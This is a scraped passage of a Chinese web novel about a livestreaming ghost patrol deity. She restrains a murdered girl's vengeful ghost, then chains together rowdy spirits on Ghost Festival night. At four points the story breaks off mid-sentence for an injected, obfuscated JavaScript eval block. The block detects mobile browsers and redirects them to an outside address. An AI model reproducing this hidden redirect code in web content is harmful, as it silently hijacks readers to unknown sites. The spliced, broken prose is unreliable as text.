“厉鬼失控,在居民区闹事。”林正文语速飞快,“我要去镇压,可手上连兵器都没有!大哥,借我两个能打的,解决就还你!” 劈山鬼沉默了两秒。 城隍在旁边听得心惊胆战——鬼门关守卫向来只听从五方鬼帝调遣,与判官体系互不统属,这小小游神竟敢开口借兵? “行。”劈山鬼竟一口答应,语气却有些急促,“正好我带人在阳间巡视,离你不远。给你派两个鬼兵过去——小五、小七!你们跟林游神走一趟!” 两个身着黑色轻甲、腰佩锁魂链的女性鬼兵闪身出现在镜面中,抱拳:“大人!” “听着,”劈山鬼快速交代,“此去速战速决。若厉鬼凶性难制,按老规矩办——别带隐患回地府!” 镜面一暗,联系切断。 城隍盯着林正文,表情复杂:“劈山大人竟真借兵了……不过林游神,他说的‘老规矩’,你可明白?” 林正文皱眉,心中升起不祥的预感:“什么老规矩?” “中元节期间,若遇厉鬼闹事伤及活人,且凶性已起难以超度……”城隍压低声音,“所有鬼差都有权就地处置,免其逃逸再生祸端。这是地府默许的权宜之计。” 林正文心头一沉:“就地处置?什么意思?” 城隍没回答,但眼神已经说明一切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094204|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到三分钟,两道黑色阴风自西边疾驰而至,落在城隍庙前。 两人身形高挑,轻甲覆体,脸上戴着遮住下半张脸的黑色面甲,只露出一双冷冽的眼睛。 “游神大人。”小五抱拳,声音干脆利落,“情况如何?” “乙等厉鬼寻仇,已伤两名活人,现被我朋友,也是另一个厉鬼牵制着。”林正文快速说明,强调需求,“我希望只是镇压,先查明冤情,化解怨念——” “大人。”小七打断,声音平静,眼中无感情地看着她。 “中元节夜,鬼门大开,各处皆乱。我等奉命前来,首要之务是‘解决问题’——若厉鬼凶性已起,带回地府恐再生变。不如就地处置,一劳永逸。” 林正文盯着她:“就地处置?你是说让她魂飞魄散?” “这是最稳妥的选择。” 小五接话,语气里没有情绪,只有常年处理同类事件的麻木。 “我们守鬼门关三百年,每年中元节都要处理几十起厉鬼闹事。有些冤魂,带回地府,它们也会想方设法逃出来;送去枉死城,它们会蛊惑其他冤魂一起闹。” “尤其是这种已经伤了活人的——凶性一起,再难回头了。” 小七补充:“今夜各处都缺人手,我们没有时间等着她查明冤情、化解怨念。” “劈山大人肯借兵,已是破例。我们必须速战速决,处理完这边,还要赶去支援其他片区。” 林正文听明白了。 和阳间一样,现实所迫的时候当用重法——人手不足、时间紧迫、隐患太大。 在鬼门关守卫的经验里,就地处置是最有效率、最省后续麻烦的方式。 但她不能接受。 林正文一咬牙,下定决心。 “给我十五分钟,帮我压制住她。时间一到,你们自行离去,后续情况不论如何,我来负责……” 她深吸一口气:“我全权负责。” 小五和小七对视一眼。 “游神大人,”小五缓缓道,“中元节不是讲人情的时候。你可知,此刻阳间有多少处正在闹事?地府有多少鬼差在拼命镇压?每多耽搁一刻,就可能多死一个活人。” “我知道。”林正文声音坚定,“就给我十五分钟。” “李昭仪十八岁,被亲姐姐、姐夫下药□□三年,最后糊里糊涂的死了——连真相都不让她知道,就让她魂飞魄散,这公平吗?” 小七摇头:“大人,冤死的鬼魂成千上万,不是每个都能‘沉冤得雪’。” “所以就要放弃?”林正文反问,“吴暮雨当初如果按你们的做法,也该就地处置。但她现在呢?” “她帮着我牵制李昭仪,她在努力帮助另一个女孩不要走绝路!” 这话让两名鬼兵沉默了。 “拜托了,就十五分钟。”林正文再次强调。 小五盯着她看了几秒,终于点头:“带路。” 旧校区,废弃教学楼前。 吴暮雨已经快撑不住了。 屏障碎了一次又一次,每次重新凝聚都比之前更稀薄。 里面的李昭仪却越来越狂暴,血色怨气如火焰般燃烧,每一次攻击都比之前更强力。 “你冷静下来!”吴暮雨嘶声喊道,“我知道你有冤情,我能帮你!林游神也能帮你!害你的人一定会——” “死!”李昭仪尖啸打断,血色怨念凝气成爪,狠狠一掌拍碎屏障,直冲她面门。 吴暮雨闭上眼,准备硬扛这一击。 18. 第 18 章 预想中的重击没有到来。 两道黑色锁链破空而至,一左一右缠住李昭仪的双臂,猛地一扯! 小五、小七从天而降,脚踏虚空,锁链绷得笔直。 “压制!”小五厉喝。 两人同时发力,左右横移,锁链上浮现出密密麻麻的符文,金光流转。李昭仪的血色怨气被符文压制,开始剧烈收缩。 “啊——!”她疯狂挣扎,但两名训练有素的鬼兵联手,根本不是她能抗衡的。 锁链层层缠绕,将她捆成一个血色的茧。茧中传来疯狂的撞击声,但符文闪烁,一时半会儿挣脱不开。 吴暮雨瘫坐在地上,魂体都淡了不少。 林正文扶着她:“多谢了。” “她还……还有救吗?”吴暮雨看着那个血茧,声音虚弱,眼中浮现不忍。 林正文没回答,她看向小五和小七。两人已经落地,锁链另一端握在手中,随时可以收紧。 “一刻钟。”小五看向林正文,面甲下的眼睛冰冷。 林正文点头,走到血茧前。她能感受到茧中传来的滔天恨意,还有……无处言说的痛苦。 “李昭仪。”她开口,声音尽量平稳,“你能听见吗?” 茧的撞击停了一瞬。 “我是本地游神林正文。我知道你受了冤屈,我知道害你的是谁。” 林正文一字一顿:“赵建斌,你姐夫。李昭兰,你姐姐。” “他们给你下药,药物过量害死了你……甚至三年来,还多次下药对你做了不可言说的事。” 血色茧剧烈颤抖起来。 林正文深吸一口气:“我可以帮你。阳间的警察已经在行动了,他们已经暴露。你可以亲眼看到他们伏法——” “不够!”茧中传来嘶哑的尖叫,重叠着怨魂的哀嚎,“我要他们死!亲手!撕碎他们!” 小五握紧了锁链向后用力:“大人,时间不多了。她凶性已起,不可能回头了。” “再等等!”林正文咬牙,面上划过一抹不舍:“李昭仪,如果警察找不到人,我还可以帮你因果寻踪,你不要伤害无辜的人,我今天就可以让你找到他们。” 茧的颤抖停了。 “你魂飞魄散,就再也没法报仇了,”林正文声音放轻,“但如果你承诺不牵连无辜,我可以帮你找到罪魁祸首。” “想想你的母亲……” 沉默。 漫长的沉默。 荒草地上的风都停了。小五和小七对视一眼,手仍然按在锁链上,随时准备发力。 终于,茧中传来微弱的声音:“真……的?” “我保证!”林正文斩钉截铁。 血色茧表面的怨气开始缓缓收敛。李昭仪的轮廓渐渐清晰,她抬起头,双眼哀戚地直视林正文: “我愿意不伤害无辜……” 林正文眼中染上喜色,小五的手也不自觉松了一些。 但小七突然厉声道:“不要放松!她在伪装!” 话音未落,李昭仪眼中血光暴涨!原本退却的怨气轰然炸开,锁链上的符文寸寸碎裂! “你们——都该死!”她长发飞舞,每一根发丝都化作长鞭,疯狂攻击所有人。 小五、小七交叉横跳,企图让锁链加固缠绕! 可惜小五松懈的那一下,让李昭仪找到了薄弱处,趁着她们交叉的档口,冲出封锁,朝天边飞去。 “来不及了!”小七吼道,“就地处置!” “不要!”林正文大喊一声。 李昭仪虽然逃脱了一瞬,可不等她飞出旧校区,就被鬼兵追上了,眼看两人正要下杀手。 就在这时—— 【直播冷却结束】 【是否开启直播?】 林正文脑中系统提示音响起。她几乎本能地点下确认,同时冲着直播间大吼: “江湖救急!快打赏!!” 这次她可不敢再啰嗦,上来就直奔主题。 这一声“江湖救急!快打赏!!”,堪称直播史上最直白、最离谱的开场白。 守在屏幕前的数万万网友,脑子还没反应过来,手指已经条件反射地点开了礼物界面—— 火箭、飞机、城堡、嘉年华…… 屏幕瞬间被礼物特效淹没。 直播平台的后台数据监控员,看着那个名为“地府游神办案实录”的直播间,打赏金额在十秒钟内突破了六位数,眼皮狂跳: “我的老天奶!钱在哪,信仰就在哪……这要搁古代,怕不得白日飞升……” 【香火值+100】 【香火值+200】 【香火值+500】 【……】 系统提示音在林正文脑中疯狂刷屏。她根本来不及看具体数字,心中只有一个念头——够了吗?够换武器了吗? 原本就差几百香火。 林正文一边追,一边用意念扫过系统商城,标价【50功德(5000香火)】的【鬼差制式勾魂锁】,眨眼功夫就从灰色变为可兑换的金色! “换!”林正文破音大喊。 【消耗5000香火值】 【武器:鬼差制式勾魂锁×1】 林正文手中一沉。 一条通体乌黑、泛着幽暗光泽的锁链凭空出现,入手冰凉,却仿佛与魂体产生了某种血脉相连的感应。 锁链长约三丈,链环细密,末端是一个沉重的三角钩,钩尖寒光凛冽。 几乎在握住的瞬间,林正文就“懂”了这东西怎么用——就像呼吸一样自然。 “吴暮雨!”她喝道,“一起上!” 两人非常有默契,此话一出,吴暮雨就瞬间明白了林正文的计划。 吴暮雨刚从地上爬起来,闻言毫不犹豫地扑向李昭仪遁走的方向,鬼气化作无数藤蔓,在对方面前编织成一张网。 李昭仪血眸一厉,长发如鞭甩出,将怨气藤蔓尽数搅碎。但这一耽搁让她被迫降速,眼看身后两名鬼兵的杀招即刻将至,她绝望地闭上了眼—— “哗啦——!” 黑色锁链破空而至,并非直取李昭仪,而是在她与小五、小七之间划出一道弧线! 小五对准李昭仪后心掷出的锁魂链被这一挡,方向偏了三分,擦着李昭仪的肩膀掠过。 小七皱眉:“林游神,你——” “十五分钟!”林正文握着勾魂锁,站在吴暮雨身边,眼神锐利,“时间还没到!” 她说话的同时,手中锁链如活物般游走,并非攻击,而是……防守。 黑色的锁链在空中交错穿梭,配合吴暮雨的怨气藤蔓,竟在短短几息间,在李昭仪周围布下了一层疏而不漏的拦截网! 既让鬼兵无法攻击,也让李昭仪无法逃窜。 李昭仪左冲右突,血色怨气撞在锁链上,发出“嗤嗤”声响,却一时难以突破。 小五和小七对视一眼,都从对方眼中看到了惊讶。 这新上任的游神,刚才还赤手空拳,拿到勾魂锁才几秒钟?居然用得如此娴熟!而且她这战术……不是硬碰硬,是缠斗、拖延、制造障碍。 “她在学。”小五低声道。 “学什么?” “学我们刚才的配合。”小五盯着场中那个黑色劲装的身影,“你看她和那个丙等厉鬼——一个主控,一个辅助,攻防有序。” 场中,林正文在快速适应新到手的武器。 生前打架打得多,她对“攻击节奏”有种野兽般的直觉。 勾魂锁在她手中时而如鞭抽击,逼退李昭仪的猛扑;时而如蛇缠绕,限制她的移动;时而又化作盾牌,格挡血色怨气的冲击。 吴暮雨则完美扮演了辅助角色——她怨气不如李昭仪雄厚,但更灵活、更刁钻。总是在李昭仪要发力时干扰一下,在她要突围时堵一下,在林正文锁链将至时补一下。 两人明明今天是第二次见面,配合起来却像磨合了许久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094205|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播间弹幕在短暂空白后,终于爆炸—— 【真打起来了!】 【游神大人换装备了!那武器好帅!】 【和之前黑无常的一样,但在游神大人手里更帅怎么肥事!】 【其他几位小姐姐是谁?都好飒!】 【所以现在是什么情况?四打一?还是三对二?】 【不对,是二打一,另外两个黑甲姐姐好像停手了?】 观看人数飙升至百万,而且还在疯涨。若是平日,平台服务器早就卡了,这次却像是开了挂,特效电影一样纵享丝滑。 林祺瑞为了避嫌,没有参与中元节警务。 此刻夫妻俩坐在沙发上,身体前倾,眼睛一眨不眨地看着投屏到电视上的直播间。 “这丫头……”郑觉凯喃喃道,“什么时候学的?” “她还用学?”林祺瑞声音发紧,“从小到大,只要能给她当武器的东西,上手都快。散打、擒拿……甚至小时候玩溜溜球,看别人玩一次,她就能玩出花来。” 画面里,林正文一个漂亮的甩链,锁链末端三角钩精准地钩住李昭仪脚踝,猛地一拉! 李昭仪踉跄半步,吴暮雨趁机用怨气缠住她另一条腿。 “好!”郑砚安忍不住喝彩,随即意识到自己太激动,咳了一声。 林祺瑞盯着女儿在夜色中翻飞的身影,眼眶发热,却笑了:“她从小就这德行,越是压力大,越蹦跶欢。” …… 小五和小七早就停手了。 她们退到空中,抱着手臂观看。不是偷懒,而是在掠阵、评估——用她们百年鬼兵的经验和眼光,评估林正文的实力。 “勾魂锁用得不错。”小七客观评价,“虽然招式野路子,但有效。” “她和那个丙等厉鬼的配合,很有灵性。”小五点头,“不像地府训练出来的套路。” 两人说话间,场中局势又变。 李昭仪久攻不下,愈发狂躁,尤其是旁边还站着两个没动手的鬼兵。 这时,她突然放弃突围,血眸锁定林正文,周身怨气疯狂向内压缩—— “她要自爆?!”吴暮雨惊叫。 厉鬼自爆,威力足以炸平方圆数百米,魂飞魄散的同时,也会重创附近所有魂体! 三中旧校区虽然偏僻,但也不至于附近一个活人也没有。 小五和小七脸色一变,就要出手。 但林正文比她们更快。 “在我的地盘,别想!”她骂了一句,手中勾魂锁猛地射出! 这一次,不是拦截,不是防御,而是——刺! 锁链如黑色闪电,穿透层层血色怨气,三角钩精准地钩中了李昭仪肋骨下方的位置! 不是要害,却是一个极特殊的“气门”。 这是范七教她的——每个鬼魂的怨气运转,都有节点。攻击这个节点,就像人岔气了,想干什么都提不起劲。 李昭仪压缩到一半的能量,瞬间泄气。 “就是现在!”林正文喝道。 吴暮雨心领神会,所有鬼气化作一条凝实的锁链,配合林正文的勾魂锁,模拟鬼兵之前的动作。两人交替翻飞,将李昭仪捆了个结实! 李昭仪疯狂挣扎,但气门被制,鬼气运转不畅,比普通怨鬼还不如。 林正文手腕一抖,勾魂锁层层收紧,最后“咔哒”一声——锁链自动扣死,形成一个完整的束缚环。就算吴暮雨鬼气收回,也不怕了。 李昭仪被捆成了粽子,只剩脑袋还能动。她双眸死死瞪着林正文,眼中满是怨毒。 林正文喘着粗气,飘到她面前,咧嘴一笑:“服不服?” “我要杀了你……杀了你们所有人……”李昭仪嘶声道。 “杀杀杀,就知道杀。”林正文翻了个白眼,“刚才说好的不伤害无辜呢?鬼话连篇!” 她算是明白了——跟厉鬼讲道理,得先把她打服。真理只在大炮射程之内,这话放在阴阳两界都通用。 19. 第 19 章 上百万水友跟着提心吊胆,生怕林正文阴沟里翻船。看到她终于把人捆住,比当事人还激动。 【赢了?!】 【游神大人nbplus!】 【刚才那一下太帅了!怎么做到的?】 【所以这女鬼到底是谁?为什么闹事?】 林正文看了眼弹幕,又看了眼系统界面——打赏还在持续,香火值已经突破三万,换成功德就是三十。 够了。 她在商城里快速翻找,终于找到一个符合需求的东西: 【缚魂符印】 【效果:贴于厉鬼眉心,可压制其凶性,强制束缚12时辰。期间厉鬼无法动用怨气,无法挣脱。】 【价格:10功德(2000香火)】 “换!” 一枚巴掌大小、泛着金光的黄纸符印出现在手中。林正文走到李昭仪面前,在她愤怒的注视下,“啪”地一声,将符纸拍在她眉心。 金光没入。 李昭仪周身翻腾的血色怨气,以肉眼可见的速度消散。 眼中的血红褪去,露出原本黑白分明的眸子——依然盛满了痛苦和怨恨。 她挣扎的力道消失了,整个人像是被抽空了力气,垂下头,不再说话。 小五和小七这时才走过来。 “缚魂符印。”小五看了眼李昭仪眉心隐约的金光,“倒是舍得。” 这东西在地府也不便宜,寻常鬼差根本兑换不起,她们倒没在意为什么之前不拿出来用。 林正文耸肩:“总不能一直占用勾魂锁,我还得去干活呢。” 像是为了应景这话似的,远处另一个方向,突然传来剧烈的鬼气波动——又有鬼闹事了。 林正文叹了口气,对直播间镜头快速解释。 “各位老铁,情况紧急,长话短说。” “这女鬼叫李昭仪,今晚闹事是为了寻仇,冲动之下,伤及了无辜。” “我现在暂时把她控制住了,中元节到处都乱,我还得去别处镇压。” 她顿了顿,语气严肃起来:“警察同志应该也在看直播吧?” “赵建斌、李昭兰这两人,请务必尽快找到。李昭仪的死不是意外,证据……你们仔细查,肯定有。” “如果找不到,到时候我就要启动因果追踪了。” 说完,她根本不等回应,对吴暮雨道:“暮雨,今晚谢了,回头去枉死城找你玩。” 吴暮雨点头,最后深深地看了一眼李昭仪,卷着阴风离去。 小五和小七:“林游神,既已控制,我等便回去复命了。今夜事多,保重。” “多谢!”林正文拱手。 两名鬼兵相继离去。 现在,旧校区荒草地上,只剩下林正文,以及额头印着符文、满脸死灰的李昭仪。 哦,还有直播间里一百多万嗷嗷待哺的网友。 林正文看了眼远处又一处爆发的怨气波动,头疼地抓了抓头发。 然后,她做了一个让所有观众永生难忘的操作—— 她把李昭仪拉到身边,然后从系统商城里,又兑换了一根【缚魂链】,把勾魂锁替换下来。 这玩意便宜,100香火,束缚力微弱,仅能对最低级的怨鬼起作用。 在林正文手里却当成麻绳。 她把链子一头扣在自己腰上,另一头缠在李昭仪身上。 “走了!”她喊了一声,拽着李昭仪朝怨气波动的方向飞去。 李昭仪像个风筝似的被她拖在后面,长发在夜风中凌乱飞舞,表情生无可恋。 这一幕让直播间的水友都瞪大了眼珠子。 【????】 【这什么造型?】 【游神大人你在干嘛?】 【我怎么觉得那女鬼一脸‘让我死’的表情……】 林正文没空看弹幕。 她很快飞到了下一个闹事地点——七八个饿死鬼正在争抢一户人家烧的纸钱,把祭祀的正主都挤到圈外了。 “都给我住手!”林正文大喝一声,从天而降。 饿死鬼们抬头,看到一个穿着黑色劲装、手持勾魂锁的游神,本来还不怎么怕。然后它们就看到了游神身后拖着的东西。 一个被捆成粽子、贴着符印、死鱼眼的乙等厉鬼。 饿死鬼们:“???” 林正文勾魂锁一甩,套住两个闹得最凶的饿死鬼。他们刚才抢了人家的香火还不算,吃上头,差点把正主都啃了。 凶性这么重,也不是善茬子。 “你,还有你,给我过来!” 两个饿死鬼挣扎,但勾魂锁的压制力岂是它们能反抗的?轻易就被拽了过来。 林正文又兑换了两根次级缚魂链,“咔咔”两声,把这两个饿死鬼拴在了李昭仪后面的链子上。 “看什么看?”林正文瞪向其他饿死鬼,“再闹,把你们也串上!” 饿死鬼们噤若寒蝉,乖乖蹲回路边寻找野祭,不敢再争抢有主之物。 祭祀正主大喜,冲上去把供品往怀里搂:“多谢游神大人!” 林正文满意点头,飞向下一处地点。 从此,城市的夜空中,多了一道奇景—— 一个黑衣游神飞在最前面,腰上拴着链子。 链子后面拖着一个生无可恋的乙等厉鬼。 厉鬼后面,拴着两个瑟瑟发抖的饿死鬼。 而这一切,才刚刚开始。 接下来一个小时,林正文化身“鬼魂收割机”。 哪里闹事,她就飞到哪里。勾魂锁一甩,套住最凶的那个杀鸡儆猴,缚魂链一扣,拴到队伍末尾。 闹事鬼的类型五花八门: 有子孙祭祀的供品不合心意就暴怒的老鬼。被林正文套住时还在骂骂咧咧:“那群不肖子孙!糊弄鬼呢!” 还有因为男朋友劈腿跳楼的恋爱脑女鬼,难得回来一次,不想着看看家人,一门心思骚扰前男友。 被套住时还在抽泣:“他为什么要这样对我……” 有因为输钱被人砍死的赌鬼,蹲在一家麻将馆帮人出老千,牌桌上的人互相怀疑,差点打起来。 被套住时还在念叨:“再来一圈!我一定能翻本!” 追星追到死了还想去骚扰黑粉的追星鬼,被套住时还在骂:“哥哥是清白的,你们都在黑他!” …… 这些鬼,无一例外,全被林正文用缚魂链串了起来。 一小时后,夜空中的队伍已经颇具规模。 它们被拴成一串,在空中飞行时,真的像一条“长龙”——一条垂头丧气、生无可恋、偶尔还有鬼哭狼嚎的“怨魂长龙”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096121|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林正文飞到哪里,这条长龙就跟到哪里。 所过之处,所有鬼魂,无论原本在闹事的还是安分守己的,全都瞬间安静。 它们抬头看着夜空那串“同类”,眼神里充满了敬畏、同情、以及深深的恐惧。 “那是……什么玩意儿?”一个新死的小鬼颤声问旁边的老鬼。 老鬼咽了口唾沫:“看到没?闹事的,就是那个下场。” 小鬼沉默了。 这示范效果,比任何武力恐吓都有用。 直播间弹幕已经笑疯了。 【哈哈哈哈哈哈我受不了了!这是什么鬼才操作!】 【游神大人:跟我斗?我把你们全都铐起来!】 【那个乙等厉鬼小姐姐的表情……要不是无法截图,我铁定要做成表情包。】 【后面的赌鬼大哥还在算牌?敬业啊!】 【这队伍越来越长了……】 【原本还有点怕,现在听着楼下的警笛声和手机里的“鬼火”,安全感满满】 某派出所值班室。 几个年轻警察凑在手机前看直播,笑得东倒西歪。 “林姐这操作……绝了!” ”鬼魂小火车,简称鬼火,没毛病。“ “以后咱们抓人,是不是也能这么搞?串一串带回来?” “你想被投诉到死吗?” “不过说真的,林姐刚才说的那个赵建斌李昭兰的案子,指挥中心已经通报了,全市布控。” “林姐在阴间执法,咱们在阳间抓人,这算……阴阳协同办案?” 城郊结合部,某十字路口。 林正文拖着她的“长龙”,降落在一个灰圈旁。 这里正有几个横死鬼在欺负一个新死的年轻鬼,抢他的香火。 林正文还没开口,那几个横死鬼一抬头,看到夜空那条越来越近的“长龙”,以及龙头上那个黑衣煞神,瞬间僵住。 然后,它们以迅雷不及掩耳之势,把抢来的香火塞回年轻鬼手里,还拍了拍对方肩膀,露出和善的笑容。 “小兄弟,刚才跟你开玩笑呢!吃,随便吃!不够我们这儿还有!” 年轻鬼:“???” 林正文满意点头,拽着长龙飞走了。 她飞过之处,鬼魂们自发立正站好,眼神恭敬,态度端正。 效率奇高。 将近一个小时,林正文已经把她辖区所有闹事点都镇压了一遍。 身后的“长龙”壮大到了三十多个鬼魂,在空中飞行时,真的需要她多用几分鬼气才能拽得动。 她停在一处高楼楼顶,看了眼系统倒计时:【直播剩余时间:00:01:23】 “各位老铁,”她对着镜头,喘了口气,“今晚直播就到这儿。” 她顿了顿,认真道:“看直播的各位,最危险的子时还没到,在路上的尽快回家,别在外面瞎溜达了。” “就这样,下了!” 直播屏幕一黑。 直播结束了,今夜,才刚刚开始。 林正文拽着她的三十多个“挂件”,站在楼顶,望向城市更远处——那里,鬼气形成的求助信号升空炸开。 那里不是她的辖区,但林正文深吸一口气,拽了拽链子:“走了!下一站!” 身后的鬼魂们发出一片哀叹。 20. 第 20 章 夜空下,黑衣游神拖着一长串鬼魂,如一道流星,划过城市的天际。 所过之处,百鬼噤声。 解决闹事的鬼魂,她挥一挥衣袖,在求助无常的感谢中悄然远去。 今夜之后,“林游神”这个名字,不仅在周边地府公务员中传开,在鬼魂圈子里,也成了“绝对不能惹”的传说。 当然,还有那个著名的外号——鬼火游神。 据说,后来有些新死鬼不听话,老鬼就会吓唬它们:“再闹?再闹把你送到林游神那儿,串起来放风筝!” 震慑效果,异常拔群。 第一缕天光刺破夜幕时,整座城市仿佛被按下了某个无形的开关。 林正文拖着她的“长龙挂件”,正悬浮在城市上空。 她刚把一个试图钻进医院产房的难产鬼拽出来拴上—— 那鬼魂还不服气,嚷嚷着“我就想看看孩子长什么样”,被林正文一句“你看个屁,吓着孕妇信不信我把你日的一声打成糊糊”怼了回去。 就在这时,异变陡生。 东方天际泛起鱼肚白的刹那,地面深处传来低沉的轰鸣,像有什么巨物在转动齿轮。紧接着,每个城市的天空,凭空裂开一道漆黑的缝隙。 缝隙初时只有巴掌宽,随即迅速扩张,变成直径十几米的幽深洞口。 洞口边缘翻滚着灰黑色的雾气,内部传来隐约的锁链拖曳声、呵斥声,还有某种庞大的吸力。 “时辰到——!” 一声浑厚的号令不知从何处传来,响彻阴阳两界。 原本散落在各处的鬼魂,无论是吸食完香火正在回味的,还是躲在家里企图滞留阳间的……此刻全都不由自主地飘了起来。 被一股无形之力牵引着,朝着黑色洞口飞去。 “怎么回事?”林正文身后那串“挂件”里,抠门老鬼惊恐地叫道。 “我的哥哥……”追星鬼哀泣着,却控制不住地往后飘。 林正文自己也感觉到一股牵引力,但很微弱。 她连忙把所有法器都收回来,那三十多个被串着的鬼魂立刻被吸力拉扯,朝着洞口飞去。 “哎哎哎别急啊!”林正文急忙追下去,倒不是舍不得这些“挂件”,李昭仪还在里面呢! 她赶到洞口正上方,这才看清里面的景象—— 对面连接的并非平地,而是一条宽敞下坡。 通道两侧站着密密麻麻的鬼兵,手持武器,维持秩序。 那些被吸进来的鬼魂,像下饺子似的顺着通道滑下去,偶尔有想反抗的、想往回爬的,立刻被鬼兵一巴掌拍下去,动作粗暴直接。 一个穿着裙子的小女鬼哭着抱住通道边缘:“我不要回去!我还没见到妈妈……” “下去吧你!”一名鬼兵抬脚把她踹进通道。 林正文看得目瞪口呆。 “很壮观,是不是?”身后传来熟悉的声音。 林正文回头,看见劈山鬼那高大的身影不知何时出现在旁边。 他满脸疲惫,甲胄上布满战斗痕迹,就连平日扛在肩上的大刀,也无力垂着。 “劈山大哥。”林正文拱手,“这些洞口是……” “鬼门。”劈山鬼指着下方,“中元节结束,阳间不留魂。所有地府鬼魂都要强制遣返,各回各家。” 林正文指着那些被粗暴对待的鬼魂:“一定要这样?不能……温柔点?” 劈山鬼像是听到什么笑话,咧开大嘴:“温柔?林游神,你知道今夜阳间有多少鬼魂滞留吗?百万不止。若每个都要‘温柔劝返’,鬼门三天三夜都关不上。” “你以为放纵他们留在阳间就好吗?随着阳气渐盛,这些鬼魂多暴露在日光下一秒,轻则魂体受损,重则魂飞魄散。” “你再想想阳间的人,今天他们闹出多大的乱子……” 林正文想了想,表情坚定了起来。 劈山鬼看着她,笑了,“孺子可教。” “你昨夜那‘放风筝’的法子,虽然效果不错,其实没必要,中元节当晚两界壁垒薄弱,鬼差都能开个临时的口子,把闹事鬼扔下去。” “下面有人接手,提前遣返的,直接打入十八层地狱,在那儿关上三天,消消戾气。” 林正文目瞪口呆,脸上顿时红了——羞红的。 不敢想其他鬼差看到她带着“长龙”,是什么心情,会不会觉得她中二病犯了。 幸好劈山鬼随后又夸赞了她:“你这法子还挺歪打正着的,不仅威慑力惊人,也算是救了他们。” 林正文这才松了口气。 她看向通道,忽然想起什么:“对了,李昭仪——” 话音未落,她就看见李昭仪的身影正被吸力拉扯着,飞向通道入口。 李昭仪没有挣扎。 她低着头,长发遮住了脸,整个人笼罩在一种死寂的绝望里。 那种姿态林正文太熟悉了——是认命、放弃,是“随便吧,反正就这样了”。 就在她即将滑入通道的瞬间,林正文飞扑上去,伸手抓住她胳膊。 李昭仪抬起头,血红的眼睛已经褪去,面无表情地看着她。 “听着。”林正文盯着她,语速很快,“回去之后,老老实实在枉死城待着,别想着逃出来报仇。” “只要在我辖区——你逃一次,我抓一次;逃两次,我抓你两次!但如果你信我……” 她一字一顿:“阳间的事,我负责。” “赵建斌和李昭兰,跑不了。他们的罪行,一定会被挖出来。等审判那天,我申请带你去旁听——让你亲眼看着他们伏法。” 李昭仪瞳孔微缩。 她张了张嘴,似乎想说什么。但吸力骤然加强,她整个人被拽向通道深处。 然后她就像一片落叶,消失在斜坡的尽头。 劈山鬼走到林正文身边,看着空荡荡的通道入口:“你答应她了?” “嗯。” “何必呢。”劈山鬼摇头,“这种冤魂,地府每年收成千上万。你每个都管,管得过来吗?” 林正文没回答这个问题。 她反问:“劈山大哥,如果你生前被人害死,死后变成鬼,只想讨个公道——结果所有鬼差都告诉你‘别闹,老实待着’,你会甘心吗?” 劈山鬼沉默了很久。 “我不会甘心。”他最终说,“但我会认命,只要等着,总有一天,能在地府见到害我的人。” “我不想等!”林正文转身,直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100683|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的眼睛,“那么多我管不了,至少……能帮一个是一个,一个一个来。” 同样的话,她送肖晴下地府的时候就说过一次,这次更认真。 劈山鬼看着她,那双铜铃般的鬼眼里,第一次露出类似“欣赏”的情绪。 “真有点十世善人的样了。” 他咧嘴一笑:“天快亮了,我也该回地府报到。今夜你镇压得力,功劳簿上会记一笔。” “功劳不重要。”林正文摆摆手,转身往下飞,“我得去完成承诺了。” 巨大的洞口缓缓闭合,门缝里最后挤进来几个怀里兜着供品,慌慌张张的鬼魂。 守门的鬼兵一脚一个踹进去:“磨蹭什么!不怕被晒得魂飞魄散!” 门内,是一片难以形容的“繁忙”景象,真像是鬼界大集。 数以百万计的鬼魂像潮水般涌进来,又被分流向各个方向——新死的去望乡台,枉死的去枉死城,在阳间闹事的直接押往十八层地狱…… 鬼差的呵斥声、鬼魂的哭嚎声、锁链拖曳声混成一片,嘈杂得让人头痛。 李昭仪站在潮水中央,茫然四顾。 